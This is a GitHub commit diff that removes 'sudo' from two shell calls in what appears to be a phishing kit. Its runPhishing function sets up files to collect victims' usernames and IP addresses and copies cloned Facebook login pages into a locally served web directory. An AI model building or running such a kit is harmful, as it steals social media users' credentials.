remove sudo

Now it'll work on both linux and termux.
This commit is contained in:
Usama Abdul Sattar 2018-07-28 11:49:17 +05:00 committed by GitHub
parent fa96c95e53
commit b42d2d3691
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -75,7 +75,7 @@ def loadModule(module):
[{1}*{0}]{1} %s module loaded. Building site...{0}'''.format(CYAN, END) % module) [{1}*{0}]{1} %s module loaded. Building site...{0}'''.format(CYAN, END) % module)
def runPhishing(social, option2): def runPhishing(social, option2):
system('sudo rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/') system('rm -Rf Server/www/*.* && touch Server/www/usernames.txt && touch Server/www/ip.txt && cp WebPages/ip.php Server/www/')
if option2 == '1' and social == 'Facebook': if option2 == '1' and social == 'Facebook':
copy_tree("WebPages/fb_standard/", "Server/www/") copy_tree("WebPages/fb_standard/", "Server/www/")
if option2 == '2' and social == 'Facebook': if option2 == '2' and social == 'Facebook':
@ -286,7 +286,7 @@ def runNgrok():
url.close() url.close()
def runServer(): def runServer():
system("cd Server/www/ && sudo php -S 127.0.0.1:1111") system("cd Server/www/ && php -S 127.0.0.1:1111")